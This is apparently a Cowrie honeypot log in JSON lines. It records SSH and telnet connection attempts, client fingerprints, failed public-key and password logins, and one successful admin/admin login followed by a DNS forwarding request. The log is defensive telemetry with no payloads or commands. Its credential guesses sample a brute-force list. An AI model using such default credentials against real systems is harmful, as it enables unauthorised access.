{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46540,"dst_ip":"10.17.0.5","dst_port":23,"session":"872bd91cf14b","protocol":"telnet","message":"New connection: 152.42.224.71:46540 (10.17.0.5:23) [session: 872bd91cf14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:45.475730Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35046,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dfc633051af","protocol":"telnet","message":"New connection: 152.42.224.71:35046 (10.17.0.5:23) [session: 4dfc633051af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:47.988578Z"}
{"eventid":"cowrie.session.closed","duration":45.92828416824341,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:59.368456Z","src_ip":"152.42.224.71","session":"429a6ed5c364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":59534,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a8b3b2eea31","protocol":"ssh","message":"New connection: 193.32.162.145:59534 (10.17.0.5:22) [session: 2a8b3b2eea31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:05.571987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:05.622845Z","src_ip":"193.32.162.145","session":"2a8b3b2eea31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:05.688698Z","src_ip":"193.32.162.145","session":"2a8b3b2eea31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"moon","message":"login attempt [ubuntu/moon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:06.083433Z","src_ip":"193.32.162.145","session":"2a8b3b2eea31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:07.191163Z","src_ip":"193.32.162.145","session":"2a8b3b2eea31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45794,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd2a9adaa51","protocol":"telnet","message":"New connection: 152.42.224.71:45794 (10.17.0.5:23) [session: 1bd2a9adaa51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:14.238550Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.220","src_port":51652,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bce5749b263","protocol":"ssh","message":"New connection: 38.96.178.220:51652 (10.17.0.5:22) [session: 2bce5749b263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.425464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.431364Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.444010Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:c6:2c:a5:5d:75:25:45:40:51:6e:00:b1:38:1c:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+5nnPU4If4F0tl/PZZ4DQSoJ8S+GiQB8rp5t4aUHCoxIqCU/GP9daLTLxX3TaBlmUaO4lJtS39660E84B0iuDI40moEHadA1Rw4LcMSfqylSKG8U6BtGfjZ7A/ZV6w2reWWpwGTga2CLSBkBLtmbakFi/OSqs3DMDECB8bwBPyiWgfkoPRNrx0326kohPlGyTT41XZphQAapDodN1NSP/3WAhUMoLa1EsxNQCFhvYIMoTYXVjKLGBWSPDZVComVZOxsWCvLWVD5EGQCugCpnZtHVi6iV/imlGCqc3YXKbpJrN//3q5HfIaLpgXRENQYRVESvOuTqPYO73fyFwdJNM25LD2gtnidqC2XUYNy8bHBwwoX0DgrwORVA1nq0mQzVmfJ15G/7gmwkHOBm0S7vMHynH8Se/sl1f3pYPZzADBq/TWIPkFCGLNJ/L8ee8TYyRl0LXTZeffp5diiNaUAZ4/l5hLcOAuF9l2VHYDPoqMJiyyLjw3k0VKUEHaBUkPszj2pFWX3f5xR1ytXSzhMdXKevBw08f656bsOOR+MnKkQ6LB45SDPLRmJqI19fE8lGD1kv8RoRG5ji4hi1LGu/QW9GlxsHjhqcY8RgFKBVKqDSIeiDJ1UJrqWmxAbQAUKILguOcmkmWe5NSIDSJmB1qOBK0qNMUp8TcR2Ouct/lZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:c6:2c:a5:5d:75:25:45:40:51:6e:00:b1:38:1c:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.466402Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:c6:2c:a5:5d:75:25:45:40:51:6e:00:b1:38:1c:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+5nnPU4If4F0tl/PZZ4DQSoJ8S+GiQB8rp5t4aUHCoxIqCU/GP9daLTLxX3TaBlmUaO4lJtS39660E84B0iuDI40moEHadA1Rw4LcMSfqylSKG8U6BtGfjZ7A/ZV6w2reWWpwGTga2CLSBkBLtmbakFi/OSqs3DMDECB8bwBPyiWgfkoPRNrx0326kohPlGyTT41XZphQAapDodN1NSP/3WAhUMoLa1EsxNQCFhvYIMoTYXVjKLGBWSPDZVComVZOxsWCvLWVD5EGQCugCpnZtHVi6iV/imlGCqc3YXKbpJrN//3q5HfIaLpgXRENQYRVESvOuTqPYO73fyFwdJNM25LD2gtnidqC2XUYNy8bHBwwoX0DgrwORVA1nq0mQzVmfJ15G/7gmwkHOBm0S7vMHynH8Se/sl1f3pYPZzADBq/TWIPkFCGLNJ/L8ee8TYyRl0LXTZeffp5diiNaUAZ4/l5hLcOAuF9l2VHYDPoqMJiyyLjw3k0VKUEHaBUkPszj2pFWX3f5xR1ytXSzhMdXKevBw08f656bsOOR+MnKkQ6LB45SDPLRmJqI19fE8lGD1kv8RoRG5ji4hi1LGu/QW9GlxsHjhqcY8RgFKBVKqDSIeiDJ1UJrqWmxAbQAUKILguOcmkmWe5NSIDSJmB1qOBK0qNMUp8TcR2Ouct/lZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.471876Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:ff:05:5a:8e:f0:fb:e3:51:8f:cb:f1:66:7a:76:33","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGMMMwnWmUCZ3PkrsEKKE7y5jXE1Xru5sEXFETJ+JgfX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 03:ff:05:5a:8e:f0:fb:e3:51:8f:cb:f1:66:7a:76:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.481336Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:ff:05:5a:8e:f0:fb:e3:51:8f:cb:f1:66:7a:76:33","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGMMMwnWmUCZ3PkrsEKKE7y5jXE1Xru5sEXFETJ+JgfX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.494861Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:93:82:d5:0c:56:01:22:ee:d2:c6:c7:7b:a6:d7:02","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMqiovlg33eEE8u2sJX+434BbpRmfmWvA9Xadl49ENfL","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 79:93:82:d5:0c:56:01:22:ee:d2:c6:c7:7b:a6:d7:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.506510Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:93:82:d5:0c:56:01:22:ee:d2:c6:c7:7b:a6:d7:02","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMqiovlg33eEE8u2sJX+434BbpRmfmWvA9Xadl49ENfL","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.510396Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:60:fe:0a:b5:b0:89:7d:28:e4:46:7c:c6:67:55:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu3cxYjxIuK1/9wDMu9I4sP/r3jbV9RJ1Tj/sp8yq1e6abfxIXaxtJjf/JnhvM0qzD7qwbuDwMeHfFIU5lZPGpvMR7vpz8T543WuZdU3v/6L1Gt/tMwdSSIeh6DBUrbkiEuVYbalkLZw2qsFmM+0ZXNG7q3QrFu6yDT9AbFTK5FEWv/a8m7YfKIMAfGP05yklNv37oEnaYUxADixnpPcpaxyx42FarjXSyCRIbXesiB/fL2Cjn8HgAHAGPTLJ/KmzIAPEmgAeoL6L3VvfRVNnmk/ua3tvdksBzzAOxgytQRh0t4Qc0mywhuZEMx2COeusFjnDj2Zr0z0IikCxDqNeww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:60:fe:0a:b5:b0:89:7d:28:e4:46:7c:c6:67:55:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.519373Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:60:fe:0a:b5:b0:89:7d:28:e4:46:7c:c6:67:55:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu3cxYjxIuK1/9wDMu9I4sP/r3jbV9RJ1Tj/sp8yq1e6abfxIXaxtJjf/JnhvM0qzD7qwbuDwMeHfFIU5lZPGpvMR7vpz8T543WuZdU3v/6L1Gt/tMwdSSIeh6DBUrbkiEuVYbalkLZw2qsFmM+0ZXNG7q3QrFu6yDT9AbFTK5FEWv/a8m7YfKIMAfGP05yklNv37oEnaYUxADixnpPcpaxyx42FarjXSyCRIbXesiB/fL2Cjn8HgAHAGPTLJ/KmzIAPEmgAeoL6L3VvfRVNnmk/ua3tvdksBzzAOxgytQRh0t4Qc0mywhuZEMx2COeusFjnDj2Zr0z0IikCxDqNeww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.523268Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:72:83:0f:fe:b1:9e:e0:8d:fa:87:de:7e:9b:b5:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyBcx6wCVYZgLN4mbUtS/xfyYUkMwWSkdqLtsucLlKisWCJh/xh2Vafh/HcXB7sMh8HG/VzHK9Yx5ka3ap0WM65BOuDUxsuIqM9zAjCUsKeRypsVXQ2PQct6immAW+u0bQZCBxrDrhA4ukW4xM2kmIxgQlvKtZDVYYMGc/3SKhnFgdlnVdmYSZZV9kKj1HFn65YXGnKgYCo7U9vAs+h1YnIW5FlOMb8KSvxYxccHM8zilbViRfk1ZH+GGB2afYU4RVeOaK2JDVeAZ+IxalCVBaSK1PQa+xFjJsl7qm0VFHrK5xUlR7lwzg+EEdj74e+3gvVn2K/OV0kBIqUx9vp5g1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:72:83:0f:fe:b1:9e:e0:8d:fa:87:de:7e:9b:b5:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.533008Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:72:83:0f:fe:b1:9e:e0:8d:fa:87:de:7e:9b:b5:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyBcx6wCVYZgLN4mbUtS/xfyYUkMwWSkdqLtsucLlKisWCJh/xh2Vafh/HcXB7sMh8HG/VzHK9Yx5ka3ap0WM65BOuDUxsuIqM9zAjCUsKeRypsVXQ2PQct6immAW+u0bQZCBxrDrhA4ukW4xM2kmIxgQlvKtZDVYYMGc/3SKhnFgdlnVdmYSZZV9kKj1HFn65YXGnKgYCo7U9vAs+h1YnIW5FlOMb8KSvxYxccHM8zilbViRfk1ZH+GGB2afYU4RVeOaK2JDVeAZ+IxalCVBaSK1PQa+xFjJsl7qm0VFHrK5xUlR7lwzg+EEdj74e+3gvVn2K/OV0kBIqUx9vp5g1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.537387Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:21.550175Z","src_ip":"38.96.178.220","session":"2bce5749b263","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00193405151367,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:22.548764Z","src_ip":"152.42.224.71","session":"bc3ca6527541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51150,"dst_ip":"10.17.0.5","dst_port":22,"session":"914a780bb4f5","protocol":"ssh","message":"New connection: 87.251.64.176:51150 (10.17.0.5:22) [session: 914a780bb4f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:25.124668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:25.129955Z","src_ip":"87.251.64.176","session":"914a780bb4f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:25.227428Z","src_ip":"87.251.64.176","session":"914a780bb4f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.631635904312134,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:25.330486Z","src_ip":"152.42.224.71","session":"05a58e87f835","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:25.519460Z","src_ip":"87.251.64.176","session":"914a780bb4f5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:25.620687Z","session":"914a780bb4f5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:25.719413Z","src_ip":"87.251.64.176","session":"914a780bb4f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:25.819063Z","src_ip":"87.251.64.176","session":"914a780bb4f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":54908,"dst_ip":"159.203.135.109","dst_port":22,"session":"7420ba3ea13b","protocol":"ssh","message":"New connection: 59.16.212.232:54908 (159.203.135.109:22) [session: 7420ba3ea13b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:38.227818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:38.233611Z","src_ip":"59.16.212.232","session":"7420ba3ea13b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:38.436032Z","src_ip":"59.16.212.232","session":"7420ba3ea13b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wesley","password":"wesley123","message":"login attempt [wesley/wesley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:39.274939Z","src_ip":"59.16.212.232","session":"7420ba3ea13b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:40.481333Z","src_ip":"59.16.212.232","session":"7420ba3ea13b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":46668,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c06d319ab12","protocol":"ssh","message":"New connection: 103.122.221.179:46668 (159.203.135.109:22) [session: 3c06d319ab12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:42.234018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:29:42.238862Z","src_ip":"103.122.221.179","session":"3c06d319ab12","protocol":"ssh"}
